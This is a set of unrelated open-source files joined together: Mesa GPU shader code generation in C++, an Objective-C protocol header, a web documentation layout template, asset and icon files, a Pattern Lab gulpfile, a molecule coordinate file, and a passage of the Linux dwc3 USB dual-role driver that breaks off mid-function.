MOV(m1_0, index_0);
if (index.file == BRW_IMMEDIATE_VALUE) {
index_4.dw1.ud += second_vertex_offset;
MOV(m1_4, index_4);
} else {
ADD(m1_4, index_4, brw_imm_d(second_vertex_offset));
}
default_state.mask_control = BRW_MASK_ENABLE;
default_state.access_mode = BRW_ALIGN_16;
}
void
gen8_vec4_generator::generate_scratch_read(vec4_instruction *ir,
struct brw_reg dst,
struct brw_reg index)
{
struct brw_reg header = brw_vec8_grf(GEN7_MRF_HACK_START + ir->base_mrf, 0);
MOV_RAW(header, brw_vec8_grf(0, 0));
generate_oword_dual_block_offsets(brw_message_reg(ir->base_mrf + 1), index);
/* Each of the 8 channel enables is considered for whether each
* dword is written.
*/
gen8_instruction *send = next_inst(BRW_OPCODE_SEND);
gen8_set_dst(brw, send, dst);
gen8_set_src0(brw, send, header);
gen8_set_dp_message(brw, send, GEN7_SFID_DATAPORT_DATA_CACHE,
255, /* binding table index: stateless access */
GEN6_DATAPORT_READ_MESSAGE_OWORD_DUAL_BLOCK_READ,
BRW_DATAPORT_OWORD_DUAL_BLOCK_1OWORD,
2, /* mlen */
1, /* rlen */
true, /* header present */
false); /* EOT */
}
void
gen8_vec4_generator::generate_scratch_write(vec4_instruction *ir,
struct brw_reg dst,
struct brw_reg src,
struct brw_reg index)
{
struct brw_reg header = brw_vec8_grf(GEN7_MRF_HACK_START + ir->base_mrf, 0);
MOV_RAW(header, brw_vec8_grf(0, 0));
generate_oword_dual_block_offsets(brw_message_reg(ir->base_mrf + 1), index);
MOV(retype(brw_message_reg(ir->base_mrf + 2), BRW_REGISTER_TYPE_D),
retype(src, BRW_REGISTER_TYPE_D));
/* Each of the 8 channel enables is considered for whether each
* dword is written.
*/
gen8_instruction *send = next_inst(BRW_OPCODE_SEND);
gen8_set_dst(brw, send, dst);
gen8_set_src0(brw, send, header);
gen8_set_pred_control(send, ir->predicate);
gen8_set_dp_message(brw, send, GEN7_SFID_DATAPORT_DATA_CACHE,
255, /* binding table index: stateless access */
GEN7_DATAPORT_WRITE_MESSAGE_OWORD_DUAL_BLOCK_WRITE,
BRW_DATAPORT_OWORD_DUAL_BLOCK_1OWORD,
3, /* mlen */
0, /* rlen */
true, /* header present */
false); /* EOT */
}
void
gen8_vec4_generator::generate_pull_constant_load(vec4_instruction *inst,
struct brw_reg dst,
struct brw_reg index,
struct brw_reg offset)
{
assert(index.file == BRW_IMMEDIATE_VALUE &&
index.type == BRW_REGISTER_TYPE_UD);
uint32_t surf_index = index.dw1.ud;
assert(offset.file == BRW_GENERAL_REGISTER_FILE);
/* Each of the 8 channel enables is considered for whether each
* dword is written.
*/
gen8_instruction *send = next_inst(BRW_OPCODE_SEND);
gen8_set_dst(brw, send, dst);
gen8_set_src0(brw, send, offset);
gen8_set_dp_message(brw, send, GEN7_SFID_DATAPORT_DATA_CACHE,
surf_index,
GEN6_DATAPORT_READ_MESSAGE_OWORD_DUAL_BLOCK_READ,
0, /* message control */
1, /* mlen */
1, /* rlen */
false, /* no header */
false); /* EOT */
mark_surface_used(surf_index);
}
void
gen8_vec4_generator::generate_vec4_instruction(vec4_instruction *instruction,
struct brw_reg dst,
struct brw_reg *src)
{
vec4_instruction *ir = (vec4_instruction *) instruction;
if (dst.width == BRW_WIDTH_4) {
/* This happens in attribute fixups for "dual instanced" geometry
* shaders, since they use attributes that are vec4's. Since the exec
* width is only 4, it's essential that the caller set
* force_writemask_all in order to make sure the instruction is executed
* regardless of which channels are enabled.
*/
assert(ir->force_writemask_all);
/* Fix up any <8;8,1> or <0;4,1> source registers to <4;4,1> to satisfy
* the following register region restrictions (from Graphics BSpec:
* 3D-Media-GPGPU Engine > EU Overview > Registers and Register Regions
* > Register Region Restrictions)
*
* 1. ExecSize must be greater than or equal to Width.
*
* 2. If ExecSize = Width and HorzStride != 0, VertStride must be set
* to Width * HorzStride."
*/
for (int i = 0; i < 3; i++) {
if (src[i].file == BRW_GENERAL_REGISTER_FILE)
src[i] = stride(src[i], 4, 4, 1);
}
}
switch (ir->opcode) {
case BRW_OPCODE_MOV:
MOV(dst, src[0]);
break;
case BRW_OPCODE_ADD:
ADD(dst, src[0], src[1]);
break;
case BRW_OPCODE_MUL:
MUL(dst, src[0], src[1]);
break;
case BRW_OPCODE_MACH:
MACH(dst, src[0], src[1]);
break;
case BRW_OPCODE_MAD:
MAD(dst, src[0], src[1], src[2]);
break;
case BRW_OPCODE_FRC:
FRC(dst, src[0]);
break;
case BRW_OPCODE_RNDD:
RNDD(dst, src[0]);
break;
case BRW_OPCODE_RNDE:
RNDE(dst, src[0]);
break;
case BRW_OPCODE_RNDZ:
RNDZ(dst, src[0]);
break;
case BRW_OPCODE_AND:
AND(dst, src[0], src[1]);
break;
case BRW_OPCODE_OR:
OR(dst, src[0], src[1]);
break;
case BRW_OPCODE_XOR:
XOR(dst, src[0], src[1]);
break;
case BRW_OPCODE_NOT:
NOT(dst, src[0]);
break;
case BRW_OPCODE_ASR:
ASR(dst, src[0], src[1]);
break;
case BRW_OPCODE_SHR:
SHR(dst, src[0], src[1]);
break;
case BRW_OPCODE_SHL:
SHL(dst, src[0], src[1]);
break;
case BRW_OPCODE_CMP:
CMP(dst, ir->conditional_mod, src[0], src[1]);
break;
case BRW_OPCODE_SEL:
SEL(dst, src[0], src[1]);
break;
case BRW_OPCODE_DPH:
DPH(dst, src[0], src[1]);
break;
case BRW_OPCODE_DP4:
DP4(dst, src[0], src[1]);
break;
case BRW_OPCODE_DP3:
DP3(dst, src[0], src[1]);
break;
case BRW_OPCODE_DP2:
DP2(dst, src[0], src[1]);
break;
case BRW_OPCODE_F32TO16:
F32TO16(dst, src[0]);
break;
case BRW_OPCODE_F16TO32:
F16TO32(dst, src[0]);
break;
case BRW_OPCODE_LRP:
LRP(dst, src[0], src[1], src[2]);
break;
case BRW_OPCODE_BFREV:
/* BFREV only supports UD type for src and dst. */
BFREV(retype(dst, BRW_REGISTER_TYPE_UD),
retype(src[0], BRW_REGISTER_TYPE_UD));
break;
case BRW_OPCODE_FBH:
/* FBH only supports UD type for dst. */
FBH(retype(dst, BRW_REGISTER_TYPE_UD), src[0]);
break;
case BRW_OPCODE_FBL:
/* FBL only supports UD type for dst. */
FBL(retype(dst, BRW_REGISTER_TYPE_UD), src[0]);
break;
case BRW_OPCODE_CBIT:
/* CBIT only supports UD type for dst. */
CBIT(retype(dst, BRW_REGISTER_TYPE_UD), src[0]);
break;
case BRW_OPCODE_ADDC:
ADDC(dst, src[0], src[1]);
break;
case BRW_OPCODE_SUBB:
SUBB(dst, src[0], src[1]);
break;
case BRW_OPCODE_BFE:
BFE(dst, src[0], src[1], src[2]);
break;
case BRW_OPCODE_BFI1:
BFI1(dst, src[0], src[1]);
break;
case BRW_OPCODE_BFI2:
BFI2(dst, src[0], src[1], src[2]);
break;
case BRW_OPCODE_IF:
IF(ir->predicate);
break;
case BRW_OPCODE_ELSE:
ELSE();
break;
case BRW_OPCODE_ENDIF:
ENDIF();
break;
case BRW_OPCODE_DO:
DO();
break;
case BRW_OPCODE_BREAK:
BREAK();
break;
case BRW_OPCODE_CONTINUE:
CONTINUE();
break;
case BRW_OPCODE_WHILE:
WHILE();
break;
case SHADER_OPCODE_RCP:
MATH(BRW_MATH_FUNCTION_INV, dst, src[0]);
break;
case SHADER_OPCODE_RSQ:
MATH(BRW_MATH_FUNCTION_RSQ, dst, src[0]);
break;
case SHADER_OPCODE_SQRT:
MATH(BRW_MATH_FUNCTION_SQRT, dst, src[0]);
break;
case SHADER_OPCODE_EXP2:
MATH(BRW_MATH_FUNCTION_EXP, dst, src[0]);
break;
case SHADER_OPCODE_LOG2:
MATH(BRW_MATH_FUNCTION_LOG, dst, src[0]);
break;
case SHADER_OPCODE_SIN:
MATH(BRW_MATH_FUNCTION_SIN, dst, src[0]);
break;
case SHADER_OPCODE_COS:
MATH(BRW_MATH_FUNCTION_COS, dst, src[0]);
break;
case SHADER_OPCODE_POW:
MATH(BRW_MATH_FUNCTION_POW, dst, src[0], src[1]);
break;
case SHADER_OPCODE_INT_QUOTIENT:
MATH(BRW_MATH_FUNCTION_INT_DIV_QUOTIENT, dst, src[0], src[1]);
break;
case SHADER_OPCODE_INT_REMAINDER:
MATH(BRW_MATH_FUNCTION_INT_DIV_REMAINDER, dst, src[0], src[1]);
break;
case SHADER_OPCODE_TEX:
case SHADER_OPCODE_TXD:
case SHADER_OPCODE_TXF:
case SHADER_OPCODE_TXF_CMS:
case SHADER_OPCODE_TXF_MCS:
case SHADER_OPCODE_TXL:
case SHADER_OPCODE_TXS:
case SHADER_OPCODE_TG4:
case SHADER_OPCODE_TG4_OFFSET:
generate_tex(ir, dst);
break;
case VS_OPCODE_URB_WRITE:
generate_urb_write(ir, true);
break;
case SHADER_OPCODE_GEN4_SCRATCH_READ:
generate_scratch_read(ir, dst, src[0]);
break;
case SHADER_OPCODE_GEN4_SCRATCH_WRITE:
generate_scratch_write(ir, dst, src[0], src[1]);
break;
case VS_OPCODE_PULL_CONSTANT_LOAD:
case VS_OPCODE_PULL_CONSTANT_LOAD_GEN7:
generate_pull_constant_load(ir, dst, src[0], src[1]);
break;
case GS_OPCODE_URB_WRITE:
generate_urb_write(ir, false);
break;
case GS_OPCODE_THREAD_END:
generate_gs_thread_end(ir);
break;
case GS_OPCODE_SET_WRITE_OFFSET:
generate_gs_set_write_offset(dst, src[0], src[1]);
break;
case GS_OPCODE_SET_VERTEX_COUNT:
generate_gs_set_vertex_count(dst, src[0]);
break;
case GS_OPCODE_SET_DWORD_2_IMMED:
generate_gs_set_dword_2_immed(dst, src[0]);
break;
case GS_OPCODE_PREPARE_CHANNEL_MASKS:
generate_gs_prepare_channel_masks(dst);
break;
case GS_OPCODE_SET_CHANNEL_MASKS:
generate_gs_set_channel_masks(dst, src[0]);
break;
case SHADER_OPCODE_SHADER_TIME_ADD:
assert(!"XXX: Missing Gen8 vec4 support for INTEL_DEBUG=shader_time");
break;
case SHADER_OPCODE_UNTYPED_ATOMIC:
assert(!"XXX: Missing Gen8 vec4 support for UNTYPED_ATOMIC");
break;
case SHADER_OPCODE_UNTYPED_SURFACE_READ:
assert(!"XXX: Missing Gen8 vec4 support for UNTYPED_SURFACE_READ");
break;
case VS_OPCODE_UNPACK_FLAGS_SIMD4X2:
assert(!"VS_OPCODE_UNPACK_FLAGS_SIMD4X2 should not be used on Gen8+.");
break;
default:
if (ir->opcode < (int) ARRAY_SIZE(opcode_descs)) {
_mesa_problem(ctx, "Unsupported opcode in `%s' in VS\n",
opcode_descs[ir->opcode].name);
} else {
_mesa_problem(ctx, "Unsupported opcode %d in VS", ir->opcode);
}
abort();
}
}
void
gen8_vec4_generator::generate_code(exec_list *instructions)
{
int last_native_inst_offset = 0;
const char *last_annotation_string = NULL;
const void *last_annotation_ir = NULL;
if (unlikely(debug_flag)) {
if (prog) {
printf("Native code for vertex shader %d:\n", shader_prog->Name);
} else {
printf("Native code for vertex program %d:\n", prog->Id);
}
}
foreach_list(node, instructions) {
vec4_instruction *ir = (vec4_instruction *) node;
struct brw_reg src[3], dst;
if (unlikely(debug_flag)) {
if (last_annotation_ir != ir->ir) {
last_annotation_ir = ir->ir;
if (last_annotation_ir) {
printf(" ");
if (prog) {
((ir_instruction *) last_annotation_ir)->print();
} else {
const prog_instruction *vpi;
vpi = (const prog_instruction *) ir->ir;
printf("%d: ", (int)(vpi - prog->Instructions));
_mesa_fprint_instruction_opt(stdout, vpi, 0,
PROG_PRINT_DEBUG, NULL);
}
printf("\n");
}
}
if (last_annotation_string != ir->annotation) {
last_annotation_string = ir->annotation;
if (last_annotation_string)
printf(" %s\n", last_annotation_string);
}
}
for (unsigned int i = 0; i < 3; i++) {
src[i] = ir->get_src(prog_data, i);
}
dst = ir->get_dst();
default_state.conditional_mod = ir->conditional_mod;
default_state.predicate = ir->predicate;
default_state.predicate_inverse = ir->predicate_inverse;
default_state.saturate = ir->saturate;
const unsigned pre_emit_nr_inst = nr_inst;
generate_vec4_instruction(ir, dst, src);
if (ir->no_dd_clear || ir->no_dd_check) {
assert(nr_inst == pre_emit_nr_inst + 1 ||
!"no_dd_check or no_dd_clear set for IR emitting more "
"than 1 instruction");
gen8_instruction *last = &store[pre_emit_nr_inst];
gen8_set_no_dd_clear(last, ir->no_dd_clear);
gen8_set_no_dd_check(last, ir->no_dd_check);
}
if (unlikely(debug_flag)) {
disassemble(stdout, last_native_inst_offset, next_inst_offset);
}
last_native_inst_offset = next_inst_offset;
}
if (unlikely(debug_flag)) {
printf("\n");
}
patch_jump_targets();
/* OK, while the INTEL_DEBUG=vs above is very nice for debugging VS
* emit issues, it doesn't get the jump distances into the output,
* which is often something we want to debug. So this is here in
* case you're doing that.
*/
if (0 && unlikely(debug_flag)) {
disassemble(stdout, 0, next_inst_offset);
}
}
const unsigned *
gen8_vec4_generator::generate_assembly(exec_list *instructions,
unsigned *assembly_size)
{
default_state.access_mode = BRW_ALIGN_16;
default_state.exec_size = BRW_EXECUTE_8;
generate_code(instructions);
*assembly_size = next_inst_offset;
return (const unsigned *) store;
}
} /* namespace brw */
|
{
"pile_set_name": "Github"
}
|
//
// Generated by class-dump 3.5 (64 bit) (Debug version compiled Jun 9 2015 22:53:21).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2014 by Steve Nygard.
//
#import "NSObject-Protocol.h"
@class NSString, NSTouchBar, NSTouchBarItem;
@protocol NSTouchBarDelegate <NSObject>
@optional
- (NSTouchBarItem *)touchBar:(NSTouchBar *)arg1 makeItemForIdentifier:(NSString *)arg2;
@end
|
{
"pile_set_name": "Github"
}
|
<!doctype html>
<html class='no-js'>
<head>
<meta charset="utf-8">
<title><%= current_page.data.title || "Workarea Documentation" %></title>
<%= favicon_tag 'images/favicon_180.png', rel: 'apple-touch-icon', type: 'image/x-icon', sizes: '180x180' %>
<%= favicon_tag 'images/favicon_32.png', sizes: '32x32' %>
<%= favicon_tag 'images/favicon_16.png', sizes: '16x16' %>
<meta content='#0060ff' name='msapplication-TileColor'>
<meta content='#0060ff' name='theme-color'>
<meta content='#0060ff' name='msapplication-navbar-color'>
<meta content='#0060ff' name='apple-mobile-web-app-status-bar-style'>
<meta name='description' content='<%= current_page.data.excerpt || 'Developer Documentation for the Workarea Commerce Platform' %>'>
<meta http-equiv="x-ua-compatible" content="ie=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/github-fork-ribbon-css/0.2.3/gh-fork-ribbon.min.css" />
<%= stylesheet_link_tag "site" %>
<% if build? %>
<script async src="https://www.googletagmanager.com/gtag/js?id=UA-69425367-2"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-69425367-2');
</script>
<% end %>
</head>
<body class='<%= body_classes('body--nude') %>'>
<%= partial 'shared/header' %>
<article class='view'>
<div class='article'>
<%= yield %>
</div>
</article>
<a class="github-fork-ribbon left-bottom fixed" href="https://github.com/workarea-commerce" target="_blank" data-ribbon="Now On GitHub" title="Now On GitHub">Now on GitHub</a>
<%= javascript_include_tag "jquery" %>
<%= javascript_include_tag "vendor/highlight.pack" %>
<%= javascript_include_tag "lunr" %>
<%= javascript_include_tag "site" %>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
{
"images": [
{
"filename": "ic_fluent_calendar_reply_24_regular.pdf",
"idiom": "universal"
}
],
"info": {
"author": "xcode",
"version": 1
},
"properties": {
"preserves-vector-representation": true,
"template-rendering-intent": "template"
}
}
|
{
"pile_set_name": "Github"
}
|
<!--
Copyright (c) 2019, salesforce.com, inc.
All rights reserved.
SPDX-License-Identifier: MIT
For full license text, see the LICENSE file in the repo root or https://opensource.org/licenses/MIT
-->
<template>
<svg class={computedClass} focusable="false" data-key={name} aria-hidden="true" viewBox="0 0 52 52">
<g>
<path d="M17.2 11.3h2.9c.4 0 .7-.3.7-.7V8.4h10.3v2.2c0 .4.3.7.7.7h2.9c.4 0 .7-.3.7-.7V8.4C35.4 6 33.4 4 31 4H20.9c-2.4 0-4.4 2-4.4 4.4v2.2c0 .4.2.7.7.7zm26.4 4.4H8.4c-2.4 0-4.4 2-4.4 4.4v23.5C4 46 6 48 8.4 48h35.2c2.4 0 4.4-2 4.4-4.4V20.1c0-2.4-2-4.4-4.4-4.4z"></path>
</g>
</svg>
</template>
|
{
"pile_set_name": "Github"
}
|
/******************************************************
* PATTERN LAB NODE
* EDITION-NODE-GULP
* The gulp wrapper around patternlab-node core, providing tasks to interact with the core library.
******************************************************/
const gulp = require('gulp');
const argv = require('minimist')(process.argv.slice(2));
/******************************************************
* PATTERN LAB NODE WRAPPER TASKS with core library
******************************************************/
const config = require('./patternlab-config.json');
const patternlab = require('@pattern-lab/core')(config);
function build() {
return patternlab
.build({
watch: argv.watch,
cleanPublic: config.cleanPublic,
})
.then(() => {
// do something else when this promise resolves
});
}
function serve() {
return patternlab.server
.serve({
cleanPublic: config.cleanPublic,
watch: true,
})
.then(() => {
// do something else when this promise resolves
});
}
gulp.task('patternlab:version', function() {
console.log(patternlab.version());
});
gulp.task('patternlab:patternsonly', function() {
patternlab.patternsonly(config.cleanPublic);
});
gulp.task('patternlab:liststarterkits', function() {
patternlab.liststarterkits();
});
gulp.task('patternlab:loadstarterkit', function() {
patternlab.loadstarterkit(argv.kit, argv.clean);
});
gulp.task('patternlab:build', function() {
build().then(() => {
// do something else when this promise resolves
});
});
gulp.task('patternlab:serve', function() {
serve().then(() => {
// do something else when this promise resolves
});
});
gulp.task('default', ['patternlab:help']);
|
{
"pile_set_name": "Github"
}
|
15
charge = 0
C 1.034284 0.505577 -0.889326
N 2.296015 -0.033843 -0.448367
C 3.200056 0.763955 0.181013
O 2.997011 1.941110 0.398364
N 4.368772 0.123996 0.551939
C 5.394265 0.782623 1.200237
C 6.539620 0.224448 1.581901
H 0.461430 -0.289946 -1.364921
H 1.180173 1.314598 -1.608516
H 0.459013 0.901992 -0.049713
H 2.496460 -1.002713 -0.612145
H 4.487928 -0.853881 0.348167
H 5.167905 1.828034 1.372316
H 6.763997 -0.822638 1.408466
H 7.287561 0.819698 2.085184
|
{
"pile_set_name": "Github"
}
|
// SPDX-License-Identifier: GPL-2.0
/*
* drd.c - DesignWare USB3 DRD Controller Dual-role support
*
* Copyright (C) 2017 Texas Instruments Incorporated - https://www.ti.com
*
* Authors: Roger Quadros <[email protected]>
*/
#include <linux/extcon.h>
#include <linux/of_graph.h>
#include <linux/platform_device.h>
#include <linux/property.h>
#include "debug.h"
#include "core.h"
#include "gadget.h"
static void dwc3_otg_disable_events(struct dwc3 *dwc, u32 disable_mask)
{
u32 reg = dwc3_readl(dwc->regs, DWC3_OEVTEN);
reg &= ~(disable_mask);
dwc3_writel(dwc->regs, DWC3_OEVTEN, reg);
}
static void dwc3_otg_enable_events(struct dwc3 *dwc, u32 enable_mask)
{
u32 reg = dwc3_readl(dwc->regs, DWC3_OEVTEN);
reg |= (enable_mask);
dwc3_writel(dwc->regs, DWC3_OEVTEN, reg);
}
static void dwc3_otg_clear_events(struct dwc3 *dwc)
{
u32 reg = dwc3_readl(dwc->regs, DWC3_OEVT);
dwc3_writel(dwc->regs, DWC3_OEVTEN, reg);
}
#define DWC3_OTG_ALL_EVENTS (DWC3_OEVTEN_XHCIRUNSTPSETEN | \
DWC3_OEVTEN_DEVRUNSTPSETEN | DWC3_OEVTEN_HIBENTRYEN | \
DWC3_OEVTEN_CONIDSTSCHNGEN | DWC3_OEVTEN_HRRCONFNOTIFEN | \
DWC3_OEVTEN_HRRINITNOTIFEN | DWC3_OEVTEN_ADEVIDLEEN | \
DWC3_OEVTEN_ADEVBHOSTENDEN | DWC3_OEVTEN_ADEVHOSTEN | \
DWC3_OEVTEN_ADEVHNPCHNGEN | DWC3_OEVTEN_ADEVSRPDETEN | \
DWC3_OEVTEN_ADEVSESSENDDETEN | DWC3_OEVTEN_BDEVBHOSTENDEN | \
DWC3_OEVTEN_BDEVHNPCHNGEN | DWC3_OEVTEN_BDEVSESSVLDDETEN | \
DWC3_OEVTEN_BDEVVBUSCHNGEN)
static irqreturn_t dwc3_otg_thread_irq(int irq, void *_dwc)
{
struct dwc3 *dwc = _dwc;
spin_lock(&dwc->lock);
if (dwc->otg_restart_host) {
dwc3_otg_host_init(dwc);
dwc->otg_restart_host = false;
}
spin_unlock(&dwc->lock);
dwc3_set_mode(dwc, DWC3_GCTL_PRTCAP_OTG);
return IRQ_HANDLED;
}
static irqreturn_t dwc3_otg_irq(int irq, void *_dwc)
{
u32 reg;
struct dwc3 *dwc = _dwc;
irqreturn_t ret = IRQ_NONE;
reg = dwc3_readl(dwc->regs, DWC3_OEVT);
if (reg) {
/* ignore non OTG events, we can't disable them in OEVTEN */
if (!(reg & DWC3_OTG_ALL_EVENTS)) {
dwc3_writel(dwc->regs, DWC3_OEVT, reg);
return IRQ_NONE;
}
if (dwc->current_otg_role == DWC3_OTG_ROLE_HOST &&
!(reg & DWC3_OEVT_DEVICEMODE))
dwc->otg_restart_host = true;
dwc3_writel(dwc->regs, DWC3_OEVT, reg);
ret = IRQ_WAKE_THREAD;
}
return ret;
}
static void dwc3_otgregs_init(struct dwc3 *dwc)
{
u32 reg;
/*
* Prevent host/device reset from resetting OTG core.
* If we don't do this then xhci_reset (USBCMD.HCRST) will reset
* the signal outputs sent to the PHY, the OTG FSM logic of the
* core and also the resets to the VBUS filters inside the core.
*/
reg = dwc3_readl(dwc->regs, DWC3_OCFG);
reg |= DWC3_OCFG_SFTRSTMASK;
dwc3_writel(dwc->regs, DWC3_OCFG, reg);
/* Disable hibernation for simplicity */
reg = dwc3_readl(dwc->regs, DWC3_GCTL);
reg &= ~DWC3_GCTL_GBLHIBERNATIONEN;
dwc3_writel(dwc->regs, DWC3_GCTL, reg);
/*
* Initialize OTG registers as per
* Figure 11-4 OTG Driver Overall Programming Flow
*/
/* OCFG.SRPCap = 0, OCFG.HNPCap = 0 */
reg = dwc3_readl(dwc->regs, DWC3_OCFG);
reg &= ~(DWC3_OCFG_SRPCAP | DWC3_OCFG_HNPCAP);
dwc3_writel(dwc->regs, DWC3_OCFG, reg);
/* OEVT = FFFF */
dwc3_otg_clear_events(dwc);
/* OEVTEN = 0 */
dwc3_otg_disable_events(dwc, DWC3_OTG_ALL_EVENTS);
/* OEVTEN.ConIDStsChngEn = 1. Instead we enable all events */
dwc3_otg_enable_events(dwc, DWC3_OTG_ALL_EVENTS);
/*
* OCTL.PeriMode = 1, OCTL.DevSetHNPEn = 0, OCTL.HstSetHNPEn = 0,
* OCTL.HNPReq = 0
*/
reg = dwc3_readl(dwc->regs, DWC3_OCTL);
reg |= DWC3_OCTL_PERIMODE;
reg &= ~(DWC3_OCTL_DEVSETHNPEN | DWC3_OCTL_HSTSETHNPEN |
DWC3_OCTL_HNPREQ);
dwc3_writel(dwc->regs, DWC3_OCTL, reg);
}
static int dwc3_otg_get_irq(struct dwc3 *dwc)
{
struct platform_device *dwc3_pdev = to_platform_device(dwc->dev);
int irq;
irq = platform_get_irq_byname_optional(dwc3_pdev, "otg");
if (irq > 0)
goto out;
if (irq == -EPROBE_DEFER)
goto out;
irq = platform_get_irq_byname_optional(dwc3_pdev, "dwc_usb3");
if (irq > 0)
goto out;
if (irq == -EPROBE_DEFER)
goto out;
irq = platform_get_irq(dwc3_pdev, 0);
if (irq > 0)
goto out;
if (!irq)
irq = -EINVAL;
out:
return irq;
}
void dwc3_otg_init(struct dwc3 *dwc)
{
u32 reg;
/*
* As per Figure 11-4 OTG Driver Overall Programming Flow,
* block "Initialize GCTL for OTG operation".
*/
/* GCTL.PrtCapDir=2'b11 */
dwc3_set_prtcap(dwc, DWC3_GCTL_PRTCAP_OTG);
/* GUSB2PHYCFG0.SusPHY=0 */
reg = dwc3_readl(dwc->regs, DWC3_GUSB2PHYCFG(0));
reg &= ~DWC3_GUSB2PHYCFG_SUSPHY;
dwc3_writel(dwc->regs, DWC3_GUSB2PHYCFG(0), reg);
/* Initialize OTG registers */
dwc3_otgregs_init(dwc);
}
void dwc3_otg_exit(struct dwc3 *dwc)
{
/* disable all OTG IRQs */
dwc3_otg_disable_events(dwc, DWC3_OTG_ALL_EVENTS);
/* clear all events */
dwc3_otg_clear_events(dwc);
}
/* should be called before Host controller driver is started */
void dwc3_otg_host_init(struct dwc3 *dwc)
{
u32 reg;
/* As per Figure 11-10 A-Device Flow Diagram */
/* OCFG.HNPCap = 0, OCFG.SRPCap = 0. Already 0 */
/*
* OCTL.PeriMode=0, OCTL.TermSelDLPulse = 0,
* OCTL.DevSetHNPEn = 0, OCTL.HstSetHNPEn = 0
*/
reg = dwc3_readl(dwc->regs, DWC3_OCTL);
reg &= ~(DWC3_OCTL_PERIMODE | DWC3_OCTL_TERMSELIDPULSE |
DWC3_OCTL_DEVSETHNPEN | DWC3_OCTL_HSTSETHNPEN);
dwc3_writel(dwc->regs, DWC3_OCTL, reg);
/*
* OCFG.DisPrtPwrCutoff = 0/1
*/
reg = dwc3_readl(dwc->regs, DWC3_OCFG);
reg &= ~DWC3_OCFG_DISPWRCUTTOFF;
dwc3_writel(dwc->regs, DWC3_OCFG, reg);
/*
* OCFG.SRPCap = 1, OCFG.HNPCap = GHWPARAMS6.HNP_CAP
* We don't want SRP/HNP for simple dual-role so leave
* these disabled.
*/
/*
* OEVTEN.OTGADevHostEvntEn = 1
* OEVTEN.OTGADevSessEndDetEvntEn = 1
* We don't want HNP/role-swap so leave these disabled.
*/
/* GUSB2PHYCFG.ULPIAutoRes = 1/0, GUSB2PHYCFG.SusPHY = 1 */
if (!dwc->dis_u2_susphy_quirk) {
reg = dwc3_readl(dwc->regs, DWC3_GUSB2PHYCFG(0));
reg |= DWC3_GUSB2PHYCFG_SUSPHY;
dwc3_writel(dwc->regs, DWC3_GUSB2PHYCFG(0), reg);
}
/* Set Port Power to enable VBUS: OCTL.PrtPwrCtl = 1 */
reg = dwc3_readl(dwc->regs, DWC3_OCTL);
reg |= DWC3_OCTL_PRTPWRCTL;
dwc3_writel(dwc->regs, DWC3_OCTL, reg);
}
/* should be called after Host controller driver is stopped */
static void dwc3_otg_host_exit(struct dwc3 *dwc)
{
u32 reg;
/*
* Exit from A-device flow as per
* Figure 11-4 OTG Driver Overall Programming Flow
*/
/*
* OEVTEN.OTGADevBHostEndEvntEn=0, OEVTEN.OTGADevHNPChngEvntEn=0
* OEVTEN.OTGADevSessEndDetEvntEn=0,
* OEVTEN.OTGADevHostEvntEn = 0
* But we don't disable any OTG events
*/
/* OCTL.HstSetHNPEn = 0, OCTL.PrtPwrCtl=0 */
reg = dwc3_readl(dwc->regs, DWC3_OCTL);
reg &= ~(DWC3_OCTL_HSTSETHNPEN | DWC3_OCTL_PRTPWRCTL);
dwc3_writel(dwc->regs, DWC3_OCTL, reg);
}
/* should be called before the gadget controller driver is started */
static void dwc3_otg_device_init(struct dwc3 *dwc)
{
u32 reg;
/* As per Figure 11-20 B-Device Flow Diagram */
/*
* OCFG.HNPCap = GHWPARAMS6.HNP_CAP, OCFG.SRPCap = 1
* but we keep them 0 for simple dual-role operation.
*/
reg = dwc3_readl(dwc->regs, DWC3_OCFG);
/* OCFG.OTGSftRstMsk = 0/1 */
reg |= DWC3_OCFG_SFTRSTMASK;
dwc3_writel(dwc->regs, DWC3_OCFG, reg);
/*
* OCTL.PeriMode = 1
* OCTL.TermSelDLPulse = 0/1, OCTL.HNPReq = 0
* OCTL.DevSetHNPEn = 0, OCTL.HstSetHNPEn = 0
*/
reg = dwc3_readl(dwc->regs, DWC3_OCTL);
reg |= DWC3_OCTL_PERIMODE;
reg &= ~(DWC3_OCTL_TERMSELIDPULSE | DWC3_OCTL_HNPREQ |
DWC3_OCTL_DEVSETHNPEN | DWC3_OCTL_HSTSETHNPEN);
dwc3_writel(dwc->regs, DWC3_OCTL, reg);
/* OEVTEN.OTGBDevSesVldDetEvntEn = 1 */
dwc3_otg_enable_events(dwc, DWC3_OEVTEN_BDEVSESSVLDDETEN);
/* GUSB2PHYCFG.ULPIAutoRes = 0, GUSB2PHYCFG0.SusPHY = 1 */
if (!dwc->dis_u2_susphy_quirk) {
reg = dwc3_readl(dwc->regs, DWC3_GUSB2PHYCFG(0));
reg |= DWC3_GUSB2PHYCFG_SUSPHY;
dwc3_writel(dwc->regs, DWC3_GUSB2PHYCFG(0), reg);
}
/* GCTL.GblHibernationEn = 0. Already 0. */
}
/* should be called after the gadget controller driver is stopped */
static void dwc3_otg_device_exit(struct dwc3 *dwc)
{
u32 reg;
/*
* Exit from B-device flow as per
* Figure 11-4 OTG Driver Overall Programming Flow
*/
/*
* OEVTEN.OTGBDevHNPChngEvntEn = 0
* OEVTEN.OTGBDevVBusChngEvntEn = 0
* OEVTEN.OTGBDevBHostEndEvntEn = 0
*/
dwc3_otg_disable_events(dwc, DWC3_OEVTEN_BDEVHNPCHNGEN |
DWC3_OEVTEN_BDEVVBUSCHNGEN |
DWC3_OEVTEN_BDEVBHOSTENDEN);
/* OCTL.DevSetHNPEn = 0, OCTL.HNPReq = 0, OCTL.PeriMode=1 */
reg = dwc3_readl(dwc->regs, DWC3_OCTL);
reg &= ~(DWC3_OCTL_DEVSETHNPEN | DWC3_OCTL_HNPREQ);
reg |= DWC3_OCTL_PERIMODE;
dwc3_writel(dwc->regs, DWC3_OCTL, reg);
}
void dwc3_otg_update(struct dwc3 *dwc, bool ignore_idstatus)
{
int ret;
u32 reg;
int id;
unsigned long flags;
if (dwc->dr_mode != USB_DR_MODE_OTG)
return;
/* don't do anything if debug user changed role to not OTG */
if (dwc->current_dr_role != DWC3_GCTL_PRTCAP_OTG)
return;
if (!ignore_idstatus) {
